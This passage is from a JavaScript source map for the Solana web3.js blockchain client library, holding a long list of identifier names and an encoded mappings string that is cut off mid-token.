RPC_SERVER_ERROR_SLOT_SKIPPED","JSON_RPC_SERVER_ERROR_NO_SNAPSHOT","JSON_RPC_SERVER_ERROR_LONG_TERM_STORAGE_SLOT_SKIPPED","JSON_RPC_SERVER_ERROR_KEY_EXCLUDED_FROM_SECONDARY_INDEX","JSON_RPC_SERVER_ERROR_TRANSACTION_HISTORY_NOT_AVAILABLE","JSON_RPC_SCAN_ERROR","JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_LEN_MISMATCH","JSON_RPC_SERVER_ERROR_BLOCK_STATUS_NOT_AVAILABLE_YET","JSON_RPC_SERVER_ERROR_UNSUPPORTED_TRANSACTION_VERSION","JSON_RPC_SERVER_ERROR_MIN_CONTEXT_SLOT_NOT_REACHED","SolanaJSONRPCError","code","customMessage","name","sendAndConfirmTransaction","sendOptions","skipPreflight","preflightCommitment","commitment","maxRetries","sendTransaction","status","confirmTransaction","abortSignal","nonceAccountPubkey","nonceValue","sleep","ms","setTimeout","encodeData","allocLength","layoutFields","decodeData","FeeCalculatorLayout","nu64","NonceAccountLayout","NONCE_ACCOUNT_LENGTH","NonceAccount","authorizedPubkey","feeCalculator","fromAccountData","nonceAccount","encodeDecode","bigInt","bigIntLayout","src","toBigIntLE","toBufferLE","u64","SystemInstruction","decodeInstructionType","checkProgramId","instructionTypeLayout","typeIndex","ixType","SYSTEM_INSTRUCTION_LAYOUTS","decodeCreateAccount","checkKeyLength","lamports","space","Create","fromPubkey","newAccountPubkey","decodeTransfer","Transfer","toPubkey","decodeTransferWithSeed","TransferWithSeed","basePubkey","decodeAllocate","Allocate","accountPubkey","decodeAllocateWithSeed","base","AllocateWithSeed","decodeAssign","Assign","decodeAssignWithSeed","AssignWithSeed","decodeCreateWithSeed","CreateWithSeed","decodeNonceInitialize","InitializeNonceAccount","noncePubkey","decodeNonceAdvance","AdvanceNonceAccount","decodeNonceWithdraw","WithdrawNonceAccount","decodeNonceAuthorize","AuthorizeNonceAccount","newAuthorizedPubkey","SystemProgram","expectedLength","freeze","UpgradeNonceAccount","createAccount","params","transfer","BigInt","createAccountWithSeed","createNonceAccount","initParams","nonceInitialize","instructionData","nonceAdvance","nonceWithdraw","nonceAuthorize","allocate","CHUNK_SIZE","Loader","getMinNumSignatures","Math","ceil","chunkSize","load","program","balanceNeeded","getMinimumBalanceForRentExemption","programInfo","getAccountInfo","executable","error","owner","dataLayout","array","transactions","bytesLength","bytesLengthPadding","_rpcEndpoint","REQUESTS_PER_SECOND","all","deployCommitment","finalizeSignature","context","currentSlot","getSlot","slot","round","BPF_LOADER_PROGRAM_ID","BpfLoader","elf","loaderProgramId","fastStableStringify","MINIMUM_SLOT_PER_EPOCH","trailingZeros","n","nextPowerOfTwo","EpochSchedule","slotsPerEpoch","leaderScheduleSlotOffset","warmup","firstNormalEpoch","firstNormalSlot","getEpoch","getEpochAndSlotIndex","epoch","epochLen","getSlotsInEpoch","slotIndex","normalSlotIndex","normalEpochIndex","floor","getFirstSlotInEpoch","pow","getLastSlotInEpoch","globalThis","fetch","RpcWebSocketClient","CommonClient","generate_request_id","webSocketFactory","url","rpc","createRpc","autoconnect","max_reconnects","reconnect","reconnect_interval","underlyingSocket","socket","readyState","notify","LOOKUP_TABLE_META_SIZE","AddressLookupTableAccount","isActive","U64_MAX","deactivationSlot","accountData","LookupTableMetaLayout","serializedAddressesLen","numSerializedAddresses","lastExtendedSlot","lastExtendedSlotStartIndex","lastExtendedStartIndex","authority","URL_RE","makeWebsocketUrl","endpoint","matches","match","hostish","portWithColon","rest","protocol","startsWith","startPort","parseInt","websocketPort","PublicKeyFromString","coerce","instance","string","RawAccountDataResult","tuple","literal","BufferFromRawAccountData","BLOCKHASH_CACHE_TIMEOUT_MS","assertEndpointUrl","putativeUrl","test","extractCommitmentFromConfig","commitmentOrConfig","specifiedCommitment","specifiedConfig","applyDefaultMemcmpEncodingToFilters","filters","memcmp","encoding","createRpcResult","result","union","pick","jsonrpc","id","unknown","optional","any","UnknownRpcResult","jsonRpcResult","schema","create","jsonRpcResultAndContext","number","notificationResultAndContext","versionedMessageFromResponse","response","GetInflationGovernorResult","foundation","foundationTerm","initial","taper","terminal","GetInflationRewardResult","nullable","effectiveSlot","amount","postBalance","commission","GetRecentPrioritizationFeesResult","prioritizationFee","GetInflationRateResult","total","validator","GetEpochInfoResult","slotsInEpoch","absoluteSlot","blockHeight","transactionCount","GetEpochScheduleResult","boolean","GetLeaderScheduleResult","record","TransactionErrorResult","SignatureStatusResult","SignatureReceivedResult","VersionResult","ParsedInstructionStruct","parsed","PartiallyDecodedInstructionStruct","SimulatedTransactionResponseStruct","rentEpoch","unitsConsumed","returnData","innerInstructions","BlockProductionResponseStruct","byIdentity","range","firstSlot","lastSlot","createRpcClient","httpHeaders","customFetch","fetchMiddleware","disableRetryOnRateLimit","httpAgent","fetchImpl","agent","fetchWithMiddleware","info","init","modifiedFetchArgs","modifiedInfo","modifiedInit","clientBrowser","RpcClient","request","callback","method","body","headers","COMMON_HTTP_HEADERS","too_many_requests_retries","res","waitTime","statusText","text","ok","createRpcRequest","client","createRpcBatchRequest","requests","batch","methodName","GetInflationGovernorRpcResult","GetInflationRateRpcResult","GetRecentPrioritizationFeesRpcResult","GetEpochInfoRpcResult","GetEpochScheduleRpcResult","GetLeaderScheduleRpcResult","SlotRpcResult","GetSupplyRpcResult","circulating","nonCirculating","nonCirculatingAccounts","TokenAmountResult","uiAmount","decimals","uiAmountString","GetTokenLargestAccountsResult","GetTokenAccountsByOwner","ParsedAccountDataResult","GetParsedTokenAccountsByOwner","GetLargestAccountsRpcResult","AccountInfoResult","KeyedAccountInfoResult","ParsedOrRawAccountData","ParsedAccountInfoResult","KeyedParsedAccountInfoResult","StakeActivationResult","active","inactive","GetConfirmedSignaturesForAddress2RpcResult","memo","blockTime","GetSignaturesForAddressRpcResult","AccountNotificationResult","subscription","ProgramAccountInfoResult","ProgramAccountNotificationResult","SlotInfoResult","parent","root","SlotNotificationResult","SlotUpdateResult","timestamp","stats","numTransactionEntries","numSuccessfulTransactions","numFailedTransactions","maxTransactionsPerEntry","SlotUpdateNotificationResult","SignatureNotificationResult","RootNotificationResult","ContactInfoResult","gossip","tpu","VoteAccountInfoResult","votePubkey","nodePubkey","activatedStake","epochVoteAccount","epochCredits","lastVote","rootSlot","GetVoteAccounts","current","delinquent","ConfirmationStatus","SignatureStatusResponse","confirmations","confirmationStatus","GetSignatureStatusesRpcResult","GetMinimumBalanceForRentExemptionRpcResult","AddressTableLookupStruct","ConfirmedTransactionResult","AnnotatedAccountKey","source","ConfirmedTransactionAccountsModeResult","ParsedInstructionResult","RawInstructionResult","InstructionResult","UnknownInstructionResult","ParsedOrRawInstruction","ParsedConfirmedTransactionResult","TokenBalanceResult","accountIndex","mint","uiTokenAmount","LoadedAddressesResult","ConfirmedTransactionMetaResult","fee","preBalances","postBalances","preTokenBalances","postTokenBalances","loadedAddresses","computeUnitsConsumed","ParsedConfirmedTransactionMetaResult","TransactionVersionStruct","RewardsResult","rewardType","GetBlockRpcResult","previousBlockhash","parentSlot","rewards","GetNoneModeBlockRpcResult","GetAccountsModeBlockRpcResult","GetParsedBlockRpcResult","GetParsedAccountsModeBlockRpcResult","GetParsedNoneModeBlockRpcResult","GetConfirmedBlockRpcResult","GetBlockSignaturesRpcResult","GetTransactionRpcResult","GetParsedTransactionRpcResult","GetRecentBlockhashAndContextRpcResult","lamportsPerSignature","GetLatestBlockhashRpcResult","IsBlockhashValidRpcResult","PerfSampleResult","numTransactions","numSlots","samplePeriodSecs","GetRecentPerformanceSamplesRpcResult","GetFeeCalculatorRpcResult","RequestAirdropRpcResult","SendTransactionRpcResult","LogsResult","LogsNotificationResult","process","Connection","_commitment","_confirmTransactionInitialTimeout","_rpcWsEndpoint","_rpcClient","_rpcRequest","_rpcBatchRequest","_rpcWebSocket","_rpcWebSocketConnected","_rpcWebSocketHeartbeat","_rpcWebSocketIdleTimeout","_rpcWebSocketGeneration","_disableBlockhashCaching","_pollingBlockhash","_blockhashInfo","latestBlockhash","lastFetch","transactionSignatures","simulatedSignatures","_nextClientSubscriptionId","_subscriptionDisposeFunctionsByClientSubscriptionId","_subscriptionHashByClientSubscriptionId","_subscriptionStateChangeCallbacksByHash","_subscriptionCallbacksByServerSubscriptionId","_subscriptionsByHash","_subscriptionsAutoDisposedByRpc","getBlockHeight","requestPromises","_buildArgs","requestHash","unsafeRes","wsEndpoint","confirmTransactionInitialTimeout","Infinity","on","_wsOnOpen","_wsOnError","_wsOnClose","_wsOnAccountNotification","_wsOnProgramAccountNotification","_wsOnSlotNotification","_wsOnSlotUpdatesNotification","_wsOnSignatureNotification","_wsOnRootNotification","_wsOnLogsNotification","rpcEndpoint","getBalanceAndContext","getBalance","e","getBlockTime","getMinimumLedgerSlot","getFirstAvailableBlock","getSupply","configArg","getTokenSupply","tokenMintAddress","getTokenAccountBalance","tokenAddress","getTokenAccountsByOwner","ownerAddress","_args","getParsedTokenAccountsByOwner","getLargestAccounts","arg","getTokenLargestAccounts","mintAddress","getAccountInfoAndContext","getParsedAccountInfo","getMultipleParsedAccounts","publicKeys","rawConfig","getMultipleAccountsInfoAndContext","getMultipleAccountsInfo","getStakeActivation","getProgramAccounts","configOrCommitment","configWithoutEncoding","baseSchema","withContext","getParsedProgramAccounts","strategy","rawSignature","aborted","reason","decodedSignature","confirmTransactionUsingLegacyTimeoutStrategy","confirmTransactionUsingBlockHeightExceedanceStrategy","confirmTransactionUsingDurableNonceStrategy","getCancellationPromise","signal","addEventListener","getTransactionConfirmationPromise","signatureSubscriptionId","disposeSignatureSubscriptionStateChangeObserver","done","confirmationPromise","onSignature","__type","PROCESSED","subscriptionSetupPromise","resolveSubscriptionSetup","_onSubscriptionStateChange","nextState","getSignatureStatus","abortConfirmation","removeSignatureListener","expiryPromise","checkBlockHeight","_e","currentBlockHeight","BLOCKHEIGHT_EXCEEDED","cancellationPromise","outcome","race","currentNonceValue","lastCheckedSlot","getCurrentNonceValue","getNonceAndContext","NONCE_INVALID","slotInWhichNonceDidAdvance","signatureStatus","commitmentForStatus","timeoutId","timeoutMs","TIMED_OUT","clearTimeout","getClusterNodes","getVoteAccounts","getSlotLeader","getSlotLeaders","startSlot","limit","getSignatureStatuses","getTransactionCount","getTotalSupply","excludeNonCirculatingAccountsList","getInflationGovernor","getInflationReward","getInflationRate","getEpochInfo","getEpochSchedule","epochSchedule","getLeaderSchedule","getRecentBlockhashAndContext","getRecentPerformanceSamples","getFeeCalculatorForBlockhash","wireMessage","getRecentPrioritizationFees","lockedWritableAccounts","getRecentBlockhash","getLatestBlockhash","getLatestBlockhashAndContext","isBlockhashValid","getVersion","getGenesisHash","getBlock","_buildArgsAtLeastConfirmed","transactionDetails","getParsedBlock","getBlockProduction","extra","c","getParsedTransaction","getParsedTransactions","getTransactions","getConfirmedBlock","block","getBlocks","endSlot","getBlockSignatures","getConfirmedBlockSignatures","getConfirmedTransaction","getParsedConfirmedTransaction","getParsedConfirmedTransactions","getConfirmedSignaturesForAddress","firstAvailableBlock","until","highestConfirmedRoot","before","confirmedSignatureInfo","getConfirmedSignaturesForAddress2","getSignaturesForAddress","getAddressLookupTable","accountInfo","getNonce","requestAirdrop","to","_blockhashWithExpiryBlockHeight","disableCache","timeSinceFetch","Date","now","expired","_pollNewBlockhash","startTime","cachedLatestBlockhash","cachedBlockhash","getStakeMinimumDelegation","simulateTransaction","transactionOrMessage","configOrSigners","includeAccounts","versionedTx","encodedTransaction","originalTx","sigVerify","traceIndent","logTrace","signersOrOptions","sendRawTransaction","rawTransaction","sendEncodedTransaction","setInterval","_updateSubscriptions","Number","MAX_SAFE_INTEGER","clearInterval","hash","_setSubscription","nextSubscription","prevState","stateChangeCallbacks","cb","clientSubscriptionId","close","log","connect","activeWebSocketGeneration","isCurrentConnectionStillActive","callbacks","serverSubscriptionId","unsubscribeMethod","_handleServerNotification","callbackArgs","notification","_makeSubscription","subscriptionConfig","existingSubscription","onAccountChange","removeAccountChangeListener","_unsubscribeClientSubscription","accountId","onProgramAccountChange","maybeFilters","removeProgramAccountChangeListener","onLogs","mentions","removeOnLogsListener","onSlotChange","removeSlotChangeListener","onSlotUpdate","removeSlotUpdateListener","subscriptionName","dispose","override","_err","onSignatureWithOptions","onRootChange","removeRootChangeListener","Keypair","keypair","_keypair","generate","fromSecretKey","skipValidation","computedPublicKey","ii","fromSeed","LOOKUP_TABLE_INSTRUCTION_LAYOUTS","CreateLookupTable","bigintLayout","FreezeLookupTable","ExtendLookupTable","DeactivateLookupTable","CloseLookupTable","AddressLookupTableInstruction","layoutType","decodeCreateLookupTable","checkKeysLength","recentSlot","decodeExtendLookupTable","decodeCloseLookupTable","recipient","decodeFreezeLookupTable","decodeDeactivateLookupTable","AddressLookupTableProgram","createLookupTable","lookupTableAddress","bumpSeed","freezeLookupTable","extendLookupTable","addr","deactivateLookupTable","closeLookupTable","ComputeBudgetInstruction","COMPUTE_BUDGET_INSTRUCTION_LAYOUTS","decodeRequestUnits","units","additionalFee","RequestUnits","decodeRequestHeapFrame","RequestHeapFrame","decodeSetComputeUnitLimit","SetComputeUnitLimit","decodeSetComputeUnitPrice","microLamports","SetComputeUnitPrice","ComputeBudgetProgram","requestUnits","requestHeapFrame","setComputeUnitLimit","setComputeUnitPrice","PRIVATE_KEY_BYTES","PUBLIC_KEY_BYTES","SIGNATURE_BYTES","ED25519_INSTRUCTION_LAYOUT","u16","Ed25519Program","createInstructionWithPublicKey","instructionIndex","publicKeyOffset","signatureOffset","messageDataOffset","numSignatures","padding","signatureInstructionIndex","publicKeyInstructionIndex","messageDataSize","messageInstructionIndex","createInstructionWithPrivateKey","privateKey","ecdsaSign","msgHash","privKey","secp256k1","toCompactRawBytes","recovery","isValidPrivateKey","publicKeyCreate","ETHEREUM_ADDRESS_BYTES","SIGNATURE_OFFSETS_SERIALIZED_SIZE","SECP256K1_INSTRUCTION_LAYOUT","Secp256k1Program","publicKeyToEthAddress","keccak_256","recoveryId","createInstructionWithEthAddress","ethAddress","rawAddress","substr","dataStart","ethAddressOffset","ethAddressInstructionIndex","pkey","messageHash","STAKE_CONFIG_ID","Authorized","staker","withdrawer","Lockup","unixTimestamp","custodian","_Lockup","StakeInstruction","STAKE_INSTRUCTION_LAYOUTS","decodeInitialize","Initialize","stakePubkey","decodeDelegate","Delegate","decodeAuthorize","newAuthorized","stakeAuthorizationType","Authorize","o","custodianPubkey","decodeAuthorizeWithSeed","authoritySeed","authorityOwner","AuthorizeWithSeed","authorityBase","decodeSplit","Split","splitStakePubkey","decodeMerge","Merge","sourceStakePubKey","decodeWithdraw","Withdraw","decodeDeactivate","Deactivate","StakeProgram","StakeAuthorizationLayout","Staker","Withdrawer","initialize","maybeLockup","delegate","authorize","authorizeWithSeed","splitInstruction","split","rentExemptReserve","splitWithSeed","merge","withdraw","deactivate","VoteInit","authorizedVoter","authorizedWithdrawer","VoteInstruction","VOTE_INSTRUCTION_LAYOUTS","decodeInitializeAccount","InitializeAccount","voteAuthorizationType","currentAuthorityDerivedKeyOwnerPubkey","currentAuthorityDerivedKeySeed","currentAuthorityDerivedKeyBasePubkey","authorizedWithdrawerPubkey","VoteProgram","UpdateValidatorIdentity","VoteAuthorizationLayout","Voter","initializeAccount","safeWithdraw","currentVoteAccountBalance","rentExemptMinimum","updateValidatorIdentity","VALIDATOR_INFO_KEY","InfoString","website","details","iconUrl","keybaseUsername","ValidatorInfo","fromConfigData","configKeyCount","configKeys","rawInfo","parse","assertType","VOTE_PROGRAM_ID","VoteAccountLayout","VoteAccount","votes","authorizedVoters","priorVoters","lastTimestamp","versionOffset","va","rootSlotValid","parseAuthorizedVoter","getPriorVoters","parsePriorVoters","epochOfLastAuthorizedSwitch","targetEpoch","idx","isEmpty","http","devnet","testnet","https","clusterApiUrl","cluster","tls","sendAndConfirmRawTransaction","confirmationStrategyOrConfirmOptions","maybeConfirmOptions","confirmationStrategy","LAMPORTS_PER_SOL"],"mappings":"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